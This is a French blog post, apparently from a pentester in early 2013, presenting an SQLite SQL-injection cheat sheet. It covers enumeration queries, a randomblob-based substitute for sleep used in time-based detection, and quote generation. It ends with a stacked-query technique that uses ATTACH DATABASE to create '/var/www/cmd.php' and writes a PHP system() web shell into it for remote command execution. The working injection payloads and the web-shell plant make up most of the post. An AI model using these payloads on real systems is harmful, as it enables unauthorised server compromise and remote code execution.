SQLite le mal aimé des SQLi

Pourquoi ?

Quand on cherche à faire des sqli sur du SQLite on est toujours un peu décu par Google, s’il existe des bible assez complètes sur les autre DB, (voir http://www.websec.ca/kb/sql_injection ou http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet ) mais pour SQLite c’est lite (comme son nom l’indique)… Alors certes il est peu probable d’avoir un client qui hoste une bonne grosse DB sur du SQLite, mais sais t’on jamais, cela peut servir pour allez plus loin.

Petit guide

Version select sqlite_version();
Comments /* */ ou – – jusque eol
Show tables select name from sqlite_master where type=’table’;
Describe table 
select sql FROM sqlite_master WHERE tbl_name = ‘mytable‘ AND type = ‘table’;
Select Nth Row  select * from tbl1 limit 0,1;  puis  select * from tbl1 limit 1,1; etc…
Sleep n’existe pas mais en sqlite3.3 et > je fait presque 6 sec avec une mamaille du genre select substr(upper(hex(randomblob(99999999))),0,1);
Generate quote (sqlite3 only)  select substr(quote(hex(0)),1,1);
Generate dbl quote (sqlite3 only) select cast(X’22’ as text);

Le cas des stacked queries en SQL3

J’ai découvert cela sur le blog de 0x7674 cela fonctionne à tous le coups pour l’instant. C’est affolant. Seul prérequis, SQL3 et pouvoir placer plusieurs requêtes SQL d’affilée.

Comment détecter les stacked queries..

En SQLlite3 une fois détecté grâce au pseudo équivalent de Sleep vu plus haut. Quand on attache une db si le fichier existe pas, sqlite le crée pour vous. bilan:

id=1′; ATTACH DATABASE ‘/var/www/cmd.php’ as toto; — X

Si le fichier cmd.php apparait dans votre browser c’est gagné. Quand les stacked queries sont activées et c’est la fête ! après avoir créé votre db, vous pouvez uploader le php de votre choix dedans et avoir votre remote shell.

id=1′; CREATE TABLE toto.cmd (dataz text); INSERT INTO toto.cmd (dataz) VALUES (‘<?system($_POST[‘C’]);?>’);–

En version 2, cela ne créé pas le fichier. Sniff..

Enfin un bon liens :
http://www.sqlite.org/c3ref/funclist.html

Et Bonne Année 2013

This entry was posted in Hacking, WebSecurity and tagged , . Bookmark the permalink.

One Response to SQLite le mal aimé des SQLi

  1. Pingback: L’injection SQL from scratch – 0xswitch

Leave a Reply

Your email address will not be published. Required fields are marked *

AlphaOmega Captcha Classica  –  Enter Security Code